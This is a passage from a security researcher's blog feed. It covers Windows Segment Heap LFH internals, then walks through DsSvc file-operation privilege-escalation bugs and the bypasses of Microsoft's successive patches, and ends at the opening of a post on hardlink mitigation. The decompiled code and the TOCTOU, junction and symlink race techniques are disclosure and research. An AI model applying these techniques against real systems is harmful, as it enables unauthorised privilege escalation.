<span class="md_line md_line_start md_line_end">如果满足上述条件,则当前没有可用的Bucket,LFH调用RtlpHpLfhSubsegmentCreate创建一个新的Bucket,在RtlpHpLfhSubsegmentCreate函数中,我们可以看到实际上在_HEAP_LFH_SUBSEGMENT_OWNER中的BucketIndex成员变量用于在ntdll的一个全局变量RtlpBucketBlockSizes中获取这个Bucket Manager所管理的Bucket中Block的Size,也就是我们申请堆的Size。</span>
</p>
<pre><code> v3 = a2->State.BucketIndex;
v4 = RtlpHpLfhPerfFlags;
v10 = a3;
v8 = (unsigned __int16)RtlpBucketBlockSizes[v3];
v33 = (unsigned __int16)RtlpBucketBlockSizes[v3];
1: kd> dq ntdll!RtlpBucketBlockSizes
00007ffc`5cbe1270 00300020`00100000 00700060`00500040//Block Size
00007ffc`5cbe1280 00b000a0`00900080 00f000e0`00d000c0
00007ffc`5cbe1290 01300120`01100100 01700160`01500140
00007ffc`5cbe12a0 01b001a0`01900180 01f001e0`01d001c0
00007ffc`5cbe12b0 02300220`02100200 02700260`02500240
00007ffc`5cbe12c0 02b002a0`02900280 02f002e0`02d002c0</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">在RtlpHpLfhSubsegmentCreate函数最终会分配出一个Bucket,将Bucket Header赋值给AvailableSubsegementList,同时这个函数中会按照RtlpBucketBlockSizes对应BlockIndex的地址,返回Size,最终切割好Block。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">一旦存在可用的Bucket,则来到分配的最后一步,实际上理解分配最后一步非常简单,在Bucket创建时,所有可用的堆已经被切割好,LFH会随机取一块Block,并且将这个Block的地址返回,这个地址就是我们申请堆的地址,这一步全部依靠Bucket Header完成。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">在Segment Heap LFH中,堆不再具有头部,取而代之的是通过Bucket Header来管理Bucket中的所有Block。Bucket Header结构体叫做_HEAP_LFH_SUBSEGMENT</span>
</p>
<pre><code>1: kd> dt _HEAP_LFH_SUBSEGMENT 116`ac0f7000 FreeCount, BlockCount, BlockBitmap
ntdll!_HEAP_LFH_SUBSEGMENT
+0x020 FreeCount : 0
+0x022 BlockCount : 0x32
+0x030 BlockBitmap : [1] 0x55555555`55555555
1: kd> dq 116`ac0f7000
00000116`ac0f7000 00000116`ac1f9000 00000116`abf90be8//List_Entry
00000116`ac0f7010 00000116`abf90bc0 00000000`00000000
00000116`ac0f7020 0001002c`00320000 0040010c`60b53c07
00000116`ac0f7030 55555555`55555555 fffffff5`55555555
00000116`ac0f7040 00000000`00000001 00000000`00000000</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">在Bucket Header中,Bitmap中存放的是这个Bucket中所有Block的状态,关于这个状态在Yason的slide中有相关介绍,这里我就不赘述了,值得一提的是,当你申请堆的大小恰好和RtlpBucketBlockSizes中存放的大小相等时,Bitmap的01代表已分配状态,00代表空闲状态,而当你申请的大小与RtlpBucketBlockSizes中存放大小不等时,则Bucket依然会按照RtlpBucketBlockSizes中存放的大小切割,但11代表已分配状态,10代表空闲状态,比方说我申请0xc10大小,但实际Block大小会按照0xC80切割,同时bitmap中高位会置1,这一切都取决于Bucket的索引在RtlpBucketBlockSizes数组中对应位置存放的Size。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">分配时,会在bitmap中找到随机一个空闲状态的Block并返回,同时会将bitmap中对应位置置成分配状态(低位置1),并且FreeCount减1,当FreeCount减到0时,证明Bucket全部分配满,LFH会将该Bucket从AvailableSubsegmentList链表中unlink,并插入FullSubsegmentList中。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">同理释放时,会将bitmap对应的位置置成空闲状态,FreeCount加1,若当前Bucket在FullSubsegmentList中,则会从该链表unlink,并加入到AvailableSubsegmentList中。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">最后,关于创建Bucket的时候到底分配多少Block,这个并不是固定的,而是根据_HEAP_LFH_BUCKET中的TotalSubsegmentCount以及申请堆的大小决定的,其函数实现在RtlpGetSubSegmentBlockCount中。</span>
</p>
<pre><code>__int64 __fastcall RtlpGetSubSegmentBlockCount(unsigned int HeapSize, unsigned int TotalSubSegmentCount, char AlwaysZero, int IsFirstBucket)
{
v5 = AlwaysZero - 1;
if ( HeapSize >= 0x100 )
v5 = AlwaysZero;
v6 = v5 - 1;
if ( !IsFirstBucket )//如果是这个Size的第一个Bucket
v6 = v5;
if ( TotalSubSegmentCount < 1 << (3 - v6) )
TotalSubSegmentCount = 1 << (3 - v6);
if ( TotalSubSegmentCount < 4 )
TotalSubSegmentCount = 4;
if ( TotalSubSegmentCount > 0x400 )
TotalSubSegmentCount = 0x400;
return TotalSubSegmentCount;
}</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">随着该Size分配的堆数量的增加,最终一个Bucket中创建的Blocks也会增加。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">在我的Windbg Extension中,由于Bucket Header都是按页对齐,因此通过查询的堆地址直接与0xff..f000做与运算后就可以找到页头部,假设该头部是Bucket Header时,其_HEAP_LFH_SUBSEGMENT的_HEAP_LFH_SUBSEGMENT_OWNER成员变量指向Bucket Manager,之后可以找到整个Segment Heap的头部,通过Signature就可以判断Bucket Header是否是有效的Bucket Header,如果不是,则将当前页头部-0x1000,继续按页查找,因为当前分配的Block可能不止一页。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">之后根据Bucket Header的Bucket Index可以在全局变量RtlpBucketBlockSizes数组中找到当前Bucket的Size,通过bitmap可以打印最终的Bucket布局。</span>
</p>
<pre><code>1: kd> !heapinfo 116`ac0f7060
Try to find Bucket Manager.
Bucket Header: 0x00000116ac0f7000
Bucket Flink: 0x00000116ac1f9000
Bucket Blink: 0x00000116abf90be8
Bucket Manager: 0x00000116abf90bc0
---------------------Bucket Info---------------------
Free Heap Count: 0
Total Heap Count: 50
Block Size: 0x50
--Index-- | -----Heap Address----- | --Size-- | --State--
0000 | *0x00000116ac0f7050 | 0x0050 | Busy
--------- | ---------------------- | -------- | ---------
0001 | 0x00000116ac0f70a0 | 0x0050 | Busy
--------- | ---------------------- | -------- | ---------
0002 | 0x00000116ac0f70f0 | 0x0050 | Busy
--------- | ---------------------- | -------- | ---------
0003 | 0x00000116ac0f7140 | 0x0050 | Busy
--------- | ---------------------- | -------- | ---------
0004 | 0x00000116ac0f7190 | 0x0050 | Busy
--------- | ---------------------- | -------- | ---------
0005 | 0x00000116ac0f71e0 | 0x0050 | Busy
--------- | ---------------------- | -------- | ---------
0006 | 0x00000116ac0f7230 | 0x0050 | Busy
--------- | ---------------------- | -------- | ---------
0007 | 0x00000116ac0f7280 | 0x0050 | Busy
--------- | ---------------------- | -------- | ---------</code></pre>
<!--block_code_end--><h3 id="toc_4" class="h16">引用</h3>
<p class="md_block">
<span class="md_line md_line_start md_line_end">MarkYason, "<a class="md_compiled" href="https://www.blackhat.com/docs/us-16/materials/us-16-Yason-Windows-10-Segment-Heap-Internals.pdf">Windows 10 Segment Heap Internals</a>"</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">My Project: <a class="md_compiled" href="https://github.com/k0keoyo/SegmentHeapExt">SegmentHeapExt</a></span>
</p>A simple story of DsSvc, "Live and Die"2019-11-22T02:51:40Za-simple-story-of-dssvcWHEREISK0SHL<p class="md_block">
<span class="md_line md_line_start md_line_end">Author: k0shl of 360 Vulcan Team</span>
</p>
<h3 id="toc_0" class="h16">Overview</h3>
<p class="md_block">
<span class="md_line md_line_start md_line_end">DsSvc is a data sharing service that provides data sharing between processes. I have not conducted an in-depth analysis of the specific functions of this service. It is known that it provides some methods of file sharing between processes. As shown in the following figure, the process specifies a shared file through DsSvc, and calls CoCreateGuid to create a GUID as a file token, and stores information such as its token and file path into DbTable. Other processes can obtain file objects through this token and perform other files operating.</span>
</p>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"><img class="md_compiled " src="https://whereisk0shl.top/20191122/1.PNG" alt="1.PNG" title="" ></span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">Data sharing services contain many file operations, which also bring a lot of security issues. Microsoft spent nearly a year to fix the logical issue in this service. The security issue caused by file operations is one of the types of logical vulnerability. Important partitions, it's necessary to be careful when dealing with files' operation, especially for file security attributes. I will analyze the logical vulnerabilities in DsSvc, as well as Microsoft's patch, and bypass. Let's start our story.</span>
</p>
<h3 id="toc_1" class="h16">The Beginning of story...</h3>
<p class="md_block">
<span class="md_line md_line_start md_line_end">In November 2018, Microsoft patched a <a class="md_compiled" href="https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8584">data sharing service vulnerability</a> discovered by <a class="md_compiled" href="https://twitter.com/SandboxBear">SandboxEscaper</a> (PolarBear). SandboxEscaper shared details about this vulnerability on the blog. Since this article on the SandboxEscaper's blog is inaccessible, it is not possible to reference the SandboxEscaper blog address. A description of vulnerability is as follows:</span>
</p>
<pre><code>Bug description:
RpcDSSMoveFromSharedFile(handle,L"token",L"c:\\blah1\\pci.sys");
This function exposed over alpc, has a arbitrary delete vuln.
Hitting the timing was pretty annoying. But my PoC will keep rerunning until c:\windows\system32\drivers\pci.sys is deleted.
I believe it’s impossible to hit the timing on a single core VM. I was able to trigger it using 4 cores on my VM. (Sadly I wasn’t able to use OPLOCKS with this particular bug)
Root cause is basically just a delete without impersonation because of an early revert to self. Should be straight forward to fix it…
Exploitation wise.. you either try to trigger dll hijacking issues in 3rd party software.. or delete temp files used by a system service in c:\windows\temp and hijack them and hopefully do some evil stuff.</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">This is an arbitrary file deletion vulnerability. The vulnerability occurs in the RPC interface RpcDSSMoveFromSharedFile. The issue existed in function PolicyChecker::CheckFilePermission. The code is as follows:</span>
</p>
<pre><code>__int64 __fastcall PolicyChecker::CheckFilePermission(const WCHAR *FileName, unsigned int a2, unsigned int a3, int a4, __int64 a5)
{
[...CreateFile flag check...]
[...Impersonate...]
v12 = CreateFileW(v5, dwDesiredAccess, dwShareMode, 0i64, 4u, 0x80u, 0i64);
[...RevertToSelf...]
if ( v12 == (void *)-1i64 )
{
[...]
}
else
{
v17 = v14;
if ( !a5 || (v8 = DSUtils::GetFinalPathFromHandle(v12, a5), (v8 & 0x80000000) == 0) )
{
CloseHandle(v12);//Close
v12 = (void *)-1i64;
if ( v17 )
return v8;
DeleteFileW(v5);//arbitrary file deletion
}
if ( v13 != (void *)-1i64 )
CloseHandle(v13);
}
return v8;
}</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">In this function, FileName is defined by the user. First, the parameters DesiredAccess and ShareMode will be checked. Then RpcImpersonateClient will be called to impersonate client and call CreateFile to open the file. DsSvc will delete the file after RevertToSelf.</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">Although DsSvc calls ImpersonateClient to open the file, which means that when I try to open a limit file, it will fail and return, but there is still have TOCTOU issue. Before calling CeateFile, you can create a junction to the user-controllable path, so CreateFile will succeed. After that, you can change the junction to a limit directory. It will invoke DeleteFile to delete limit file finally.</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">In the patch, Microsoft no longer uses DeleteFile but uses the FileDispositionInfo class of SetFileInformationByHandle to delete file. Thus, calling SetFileInformationByHandle refers to the file handle created by CreateFile instead of the file path. The final deletion is a normal file opened after ImpersonateClient.</span>
</p>
<pre><code>else
{
v17 = v14;
if ( !a5 || (v8 = DSUtils::GetFinalPathFromHandle(v13, a5), v8 >= 0) )
{
if ( !v17 )
{
FileInformation = 1;
if ( !SetFileInformationByHandle(v13, FileDispositionInfo, &FileInformation, 1u) )
{
[...]
}
}
}
CloseHandle(v13);</code></pre>
<!--block_code_end--><h3 id="toc_2" class="h16">My research has started...</h3>
<p class="md_block">
<span class="md_line md_line_start md_line_end">After this vulnerability was exposed, I started my study on the logic vulnerability. One day, when I was chatting with my friend 0x9k, he talked about the complete full chain of 11 Android logical vulnerabilities used by MWRLab in Pwn2Own. Then I read <a class="md_compiled" href="https://labs.f-secure.com/assets/BlogFiles/G.-Geshev-and-Rob-Miller-Chainspotting.pdf">MWRLab's slide</a> about this full chain exploitation which they talked on CanSecWest. </span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">There is a show in this slide about the tool jandroid that they use when finding android logic vulnerabilities.</span>
</p>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"><img class="md_compiled " src="https://whereisk0shl.top/20191122/2.PNG" alt="2.PNG" title="" ></span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">After read about jandroid in slide, I came up with the idea that such this method can be used to finding logical vulnerabilities on Windows? The answer is yes. </span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">I think I can assist the subsequent reverse engineering by parsing the path travesal of the sensitive operation on the RPC-related dll. I took some time to implement my idea. (Later in August 2019 <a class="md_compiled" href="https://twitter.com/_xpn_">Adam Chester</a> published a blog post about his <a class="md_compiled" href="https://blog.xpnsec.com/analysing-rpc-with-ghidra-neo4j/">RPC parsing implementation idea</a>)</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">I used <a class="md_compiled" href="https://twitter.com/tiraniddo">James Forshaw's</a> project <a class="md_compiled" href="https://github.com/googleprojectzero/sandbox-attacksurface-analysis-tools/tree/master/NtApiDotNet">NtApiDotNet</a> when writing the parsing code. It can complete pre-working in my parsing framework, there is a class called NdrProcedureDefinition in NtApiDotNet, which plays a key role in RPC interface parsing, it can parse out of the RPC interface of the DCE syntax, I made a few modifications to the NdrProcedureDefinition part of the method, so that it can parse the RPC interface of the Ndr64 syntax, which may resolve more potential attack surfaces in the x64 system. (The figure below shows the analysis result of Chakra.dll which use Ndr64 syntax)</span>
</p>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"><img class="md_compiled " src="https://whereisk0shl.top/20191122/3.PNG" alt="3.PNG" title="" ></span>
</p>
<p class="md_block">
<span class="md_line md_line_start">Here are two points to mention. <br /></span>
<span class="md_line">[+] The first is that almost all RPC dlls in Windows x64 systems use DCE syntax, but also contain a very small number of RPC dlls for Ndr64 syntax, such as Chakra.dll.<br /></span>
<span class="md_line md_line_end">[+] And the second is that I am not find the way to parsing incoming parameter of RPC interface of Ndr64 syntax, so I can only parse the RPC interface function without parameters, but this does not affect sensitive operation path travesal parsing.</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">The following picture shows the logs of some of the path travesals after I run my parsing code. Actually, I found out some interesting path travesals in DsSvc after that time, but James Forshaw report most of them :).</span>
</p>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"><img class="md_compiled " src="https://whereisk0shl.top/20191122/4.PNG" alt="4.PNG" title="" ></span>
</p>
<h3 id="toc_3" class="h16">Get down to business</h3>
<p class="md_block">
<span class="md_line md_line_start md_line_end">In January 2019, Microsoft patched <a class="md_compiled" href="https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2019-0574">5 DsSvc EoP Vulnerabilities</a> reported by James Forshaw , there is a interesting patch in these 5 vulnerabilities which about the <a class="md_compiled" href="https://bugs.chromium.org/p/project-zero/issues/detail?id=1681">MoveFileInheritSecurity function</a>, the vulnerability code is as follows:</span>
</p>
<pre><code>__int64 __fastcall PolicyChecker::MoveFileInheritSecurity(const WCHAR *lpNewFileName, const WCHAR *lpExistingFileName)
{
[...]
if ( MoveFileExW(lpNewFileName, lpExistingFileName, 3u) )
{
if ( !InitializeAcl(&pAcl, 8u, 2u) )
{
LABEL_4:
v6 = GetLastError();
goto LABEL_10;
}
v6 = SetNamedSecurityInfoW(lpExistingFileName, SE_FILE_OBJECT, 0x20000004u, 0i64, 0i64, &pAcl, 0i64);
if ( v6 )
MoveFileExW(lpExistingFileName, lpNewFileName, 3u);
}
[...]
}</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">As the code show, DsSvc will set the DACL of the new file through SetNamedSecurityInfoW after the MoveFile. James forshaw create a hardlink to a limit file, and call RpcDSSMoveFromSharedFile interface, the DsSvc get the file path directly, but not check if the file is accessible, it will finally set the limit file's DACL.</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">Before patch:</span>
</p>
<pre><code>__int64 __fastcall DSUtils::VerifyPathRoundTrip(wchar_t *Str2, wchar_t *a2)
{
[...]
v3 = CreateFileW(Str2, 0x80000000, 7u, 0i64, 4u, 0x80u, 0i64);
if ( v3 != (HANDLE)-1i64 )
{
v2 = v3;
LABEL_6:
v5 = DSUtils::VerifyPathFromHandle(v1, v2);
goto LABEL_7;
}
[...]
}</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">After patch:</span>
</p>
<pre><code>__int64 __fastcall DSUtils::VerifyPathRoundTrip(wchar_t *Str2, wchar_t *a2)
{
[...]
v5 = CreateFileW(Str2, 0x80000000, 7u, 0i64, 4u, 0x80u, 0i64);
if ( v5 != (HANDLE)-1i64 )
{
v4 = v5;
LABEL_6:
v7 = DSUtils::VerifyPathFromHandle(v3, v4);
if ( v7 >= 0 )
v7 = DSUtils::VerifyFileIdFromHandle(v2, v4);
goto LABEL_8;
}
[...]
}</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">After patch, function DSUtils::VerifyFileIdFromHandle is added. The function contains a check for the hardlink. The BY_HANDLE_FILE_INFORMATION structure returned by calling the GetFileInformationByHandle function contains the member variable nNumberOfLinks. If it is greater than 1, it indicates that there is a symbolic link, and function will fail and return.</span>
</p>
<pre><code>__int64 __fastcall DSUtils::GetFileIdFromHandle(HANDLE hFile, __int64 a2)
{
[...]
if ( GetFileInformationByHandle(v3, &FileInformation) )
goto LABEL_19;
[...]
LABEL_19:
if ( FileInformation.nNumberOfLinks <= 1 )
{
v11 = (_WORD *)*v2;
v2[1] = *v2;
*v11 = 0;
}
[...]
}</code></pre>
<!--block_code_end--><h3 id="toc_4" class="h16">The story is far from ending...</h3>
<p class="md_block">
<span class="md_line md_line_start md_line_end">Obviously, Microsoft's patch still have problem. I found that there is still a time window between the end of the check of the symbolic link and the call to the MoveFileInheritSecurity function, which means that there is a TOCTOU vulnerability, I can make a hardlink to limit file after the symbolink check, so that when DsSvc calls the MoveFileInheritSecurity function, it will set the limit file's DACL finally. I later reported this vulnerability to Microsoft.</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end"><a class="md_compiled" href="https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2019-1383">Microsoft's patch</a> is very simple, they canceled RpcDSSMoveFromSharedFile and RpcDSSMoveToSharedFile two RPC interfaces of DsSvc in Windows 10 rs6 and later. </span>
</p>
<pre><code>///After parse DsSvc RPC interface you can find out that
///RpcDSSMoveFromSharedFile and RpcDSSMoveToSharedFile are canceled
[uuid("bf4dc912-e52f-4904-8ebe-9317c1bdd497"), version(1.0)]
interface intf_bf4dc912_e52f_4904_8ebe_9317c1bdd497 {
HRESULT RpcDSSCreateSharedFileToken( handle_t p0, [In] wchar_t[1]* p1, [In] struct Struct_0* p2, [In] /* ENUM16 */ int p3, [In] /* ENUM16 */ int p4, [Out] wchar_t** p5);
HRESULT RpcDSSGetSharedFileName( handle_t p0, [In] wchar_t[1]* p1, [Out] wchar_t** p2);
HRESULT RpcDSSGetSharingTokenInformation( handle_t p0, [In] wchar_t[1]* p1, [Out] wchar_t** p2, [Out] wchar_t** p3, [Out] /* ENUM16 */ int* p4);
HRESULT RpcDSSDelegateSharingToken( handle_t p0, [In] wchar_t[1]* p1, [In] struct Struct_1* p2);
HRESULT RpcDSSRemoveSharingToken( handle_t p0, [In] wchar_t[1]* p1);
HRESULT RpcDSSOpenSharedFile( handle_t p0, [In] wchar_t[1]* p1, [In] int p2, [Out] long* p3);
HRESULT RpcDSSCopyFromSharedFile( handle_t p0, [In] wchar_t[1]* p1, [In] wchar_t[1]* p2);
HRESULT RpcDSSRemoveExpiredTokens();
}</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">The old version still exists these two interfaces. In the old version, Microsoft's patch is also very simple. The PolicyChecker::MoveFileInheritSecurity function is directly deleted, and DsSvc use another method for file copy. I will share this method later.</span>
</p>
<h3 id="toc_5" class="h16">Other attack surfaces</h3>
<p class="md_block">
<span class="md_line md_line_start md_line_end">In my RPC parsing log, I noticed another RPC interface, DSSCopyFromSharedFile, which calls the CopyFile function to copy file to a controllable path.</span>
</p>
<pre><code>__int64 __fastcall DSSCopyFromSharedFile(const unsigned __int16 *a1, wchar_t *a2)
{
[...Check File...]
if ( !CopyFileW(*(LPCWSTR *)(v10 + 184), v4, 0) )
{
[...]
}
[...]
}</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">This vulnerability is very obvious, although DsSvc checked the permissions of the copied target file before CopyFile, I can still use race condition to link the file to the limit file after checking the target file permissions, and finally copy the shared file to limit file. In this function, the shared file can be specified by the user, so it is easy to write the payload into the file under system32.</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">When I reported this vulnerability, Microsoft did not award bounty for the vulnerability because Microsoft introduced a <a class="md_compiled" href="https://whereisk0shl.top/post/2019-06-08">mitigation for hardlink</a>. Whether normal user have control permission for the target file, if not, the hard link cannot be created, that is, the hardlink cannot be used by normal user in rs6 and WIP.</span>
</p>
<h3 id="toc_6" class="h16">DsSvc security feature bypass</h3>
<p class="md_block">
<span class="md_line md_line_start md_line_end">After receiving the reply from Microsoft, I made a quick review on the DsSvc service code again and found a very interesting place. In DsSvc, it will protect the folder where the target file is to be operated. Create a lock file to prevent this folder from being mounted to another directory. The function that implements this security feature is DSUtils::DirectoryLock::Lock. The function code is as follows:</span>
</p>
<pre><code>__int64 __fastcall DSUtils::DirectoryLock::Lock(signed __int64 this, const unsigned __int16 *a2)
{
[...]
v20 = CreateFileW(v19, 0x80000000, 7u, 0i64, 4u, 0x4000100u, 0i64);
[...]
}</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">The function calls CreateFile to create the lock file. I found that the lock file inherits the security descriptor of the parent directory, so actually, I have full control on lock file. It means I can delete the lock file after the lock file is created and after that I mount the directory to limit directory(the directory will be empty after I delete file). This way, even if I don't use hardlink, I can finally call CopyFile to copy the payload to a limit file in the limit directory.</span>
</p>
<h3 id="toc_7" class="h16">The story is still going on</h3>
<p class="md_block">
<span class="md_line md_line_start md_line_end">Microsoft finally patched <a class="md_compiled" href="https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2019-1272">vulnerability I report</a>. In CopyFromSharedFile, Microsoft use a new function DSUtils::CopyFileWithProgress with the following code:</span>
</p>
<pre><code>__int64 __fastcall DSUtils::CopyFileWithProgress(BOOL *this, DSUtils *a2, DSUtils *a3, const unsigned __int16 *a4)
{
DSUtils::OpenFile((const WCHAR *)a2, (const unsigned __int16 *)0x80000000i64, 7u, 0, &hObject);
v7 = DSUtils::OpenFile((const WCHAR *)a3, (const unsigned __int16 *)0x80000000i64, 3u, 0, &pbCancel);
[...]
DSUtils::IsHardLinkFile(pbCancel, &vars0);
[...]
v8 = DSUtils::GetFinalPathFromHandle(v7, (__int64)&lpData);
if ( v8 >= 0
&& !CopyFileExW(
(LPCWSTR)a2,
(LPCWSTR)a3,
(LPPROGRESS_ROUTINE)CopyFileProgressRoutine,
lpData,
(LPBOOL)dwCopyFlags,
0) )
[...]
}</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">In the patch, Microsoft not only checks whether the file is hardlink, but also uses CopyFileExW function. This function calls a callback function CopyFileProgressRoutine when copying the file. The callback function will check if the target file path is the same as before the IsHardLinkFile check.</span>
</p>
<pre><code>signed __int64 __fastcall CopyFileProgressRoutine(LARGE_INTEGER TotalFileSize, LARGE_INTEGER TotalBytesTransferred, LARGE_INTEGER StreamSize, LARGE_INTEGER StreamBytesTransferred, DWORD dwStreamNumber, DWORD dwCallbackReason, HANDLE hSourceFile, HANDLE hDestinationFile, LPVOID lpData)
{
[...]
v9 = DSUtils::GetFinalPathFromHandle(hDestinationFile, (__int64)&Str2);
if ( v9 >= 0 && _wcsicmp((const wchar_t *)lpData, Str2) )
[...]
}</code></pre>
<!--block_code_end--><h3 id="toc_8" class="h16">Is it really over?</h3>
<p class="md_block">
<span class="md_line md_line_start md_line_end">After I analyze Microsoft's patch, I sent an email to Microsoft to confirm whether they fixed the problem I reported later, that is, the problem about lock file created. At that time, my suggestion was to create a lock file that can not be controlled by normal users. This way the user cannot delete the lock file and mount the current directory to another directory. Microsoft confirmed that it had fixed the previous problem, but they may did not understand my suggestion.</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">Although Microsoft added multiple checks, it can be found that Microsoft has finished checking the target file when it calls DSUtils::OpenFile to open the file and the callback function CopyFileProgressRoutine compares the file path before and after, so there is a very obvious issue:</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">If I still have full control over the lock file, I can still bypass the check in another way, James Forshaw's <a class="md_compiled" href="https://github.com/googleprojectzero/symboliclink-testing-tools">symboliclink-testing-tools</a> introduce a method, this way it mounts the directory to the root directory of the namespace, and then links the named object to other files. This method will cause the file path to be resolved to other file when NT parsing the file path. Instead of setting the symbolic link through the SetFileInformation method, the advantage of this method is that the target file parsed when calling GetFileInformationByHandle is the target file, so the member variable nNumberOfLinks is still 1, you can easily bypass the IsHardlinkFile check.</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">Therefore, you can link file to other file in this way before OpenFile. After OpenFile, including the GetFinalPathNameByHandle in the callback function, they all will be parsed to the same path. Therefore, the patch is finally bypassed, and the payload file can still be copied to the limit file by CopyFile.</span>
</p>
<h3 id="toc_9" class="h16">last of the last...</h3>
<p class="md_block">
<span class="md_line md_line_start md_line_end">Microsoft released <a class="md_compiled" href="https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2019-1417">a new patch in November 2019</a>. Finally, Microsoft deleted the DirectoryLock function and the MoveFileInheritSecurity function I mentioned earlier, and used a new method DSUtils::OpenFileAlways to open the file and return the file handle which will be used in DSUtils::CopyFileWithProgress, it will opened until the function return. So, when the file is opened, the file no longer can be deleted and the mount point can not be created to other directory. Before CopyFile, the file directory to be copied is parsed by the GetFileInformationByHandle function.</span>
</p>
<pre><code>///Instead of file path, DsSvc use file handle as incoming parameter
DSUtils::CopyFileWithProgress(v5, (const unsigned __int16 *)hObject, hFile, (void *)v19);
{
[...]
DSUtils::GetFinalPathFromHandle(hObject, (__int64)lpExistingFileName);
[...]
DSUtils::GetFinalPathFromHandle(hFile, (__int64)lpNewFileName);
[...]
DSUtils::IsHardLinkFile(hFile, dwCopyFlags, v8);
[...]
else if ( !CopyFileExW(
lpExistingFileName[0],
lpNewFileName[0],
CopyFileProgressRoutine,
v4,
(LPBOOL)&dwCopyFlags[1],
0) )
[...]
}</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">And also, DsSvc uses ImpersonateClient to make sure the target file is an accessible file.</span>
</p>
<pre><code> v6 = AutoImpersonate<1>::ImpersonateClient(&v39);
[...]
v6 = DSUtils::OpenFileAlways(lpFileName, Str, (unsigned __int64)&hFile);
[...]
if ( (_DWORD)v39 )
RpcRevertToSelf();</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">Similarly, Microsoft has rewritten the CopyFileProgressRoutine callback function. In the function, DsSvc will compare the source file and target file with the FilePath and the FileID.</span>
</p>
<pre><code>signed __int64 __fastcall CopyFileProgressRoutine(LARGE_INTEGER TotalFileSize, LARGE_INTEGER TotalBytesTransferred, LARGE_INTEGER StreamSize, LARGE_INTEGER StreamBytesTransferred, __int64 dwStreamNumber, __int64 dwCallbackReason)
{
[...]
v7 = DSUtils::GetFileIdFromHandle(hFile);
[...]
v7 = DSUtils::GetFileIdFromHandle((HANDLE)dwStreamNumber);
[...]
v7 = DSUtils::GetFinalPathFromHandle(hFile, (__int64)&v33);
[...]
v7 = DSUtils::GetFinalPathFromHandle((HANDLE)dwStreamNumber, (__int64)&v36);
[...]
if ( (unsigned int)utl::basic_string<unsigned short,utl::char_traits<unsigned short>,utl::allocator<unsigned short>>::compare(
dwCallbackReason,
&v27) )
[...]
if ( (unsigned int)utl::basic_string<unsigned short,utl::char_traits<unsigned short>,utl::allocator<unsigned short>>::compare(
dwCallbackReason + 64,
&v30) )
[...]
if ( (unsigned int)utl::basic_string<unsigned short,utl::char_traits<unsigned short>,utl::allocator<unsigned short>>::compare(
dwCallbackReason + 32,
&v33) )
[...]
if ( (unsigned int)utl::basic_string<unsigned short,utl::char_traits<unsigned short>,utl::allocator<unsigned short>>::compare(
dwCallbackReason + 96,
&v36) )
[...]
}</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">In the old version, MoveFromSharedFile and MoveToSharedFile also use CopyFileWithProgress to move files. The story about DsSvc ends here.</span>
</p>Microsoft Hardlink缓解机制简单分析2019-06-07T16:00:00Z2019-06-08WHEREISK0SHL<p class="md_block">
<span class="md_line md_line_start md_line_end">Author: k0shl of 360 Vulcan Team</span>
</p>
<hr>
<h3 id="toc_0" class="h16">简述</h3>
<hr>
<p class="md_block">
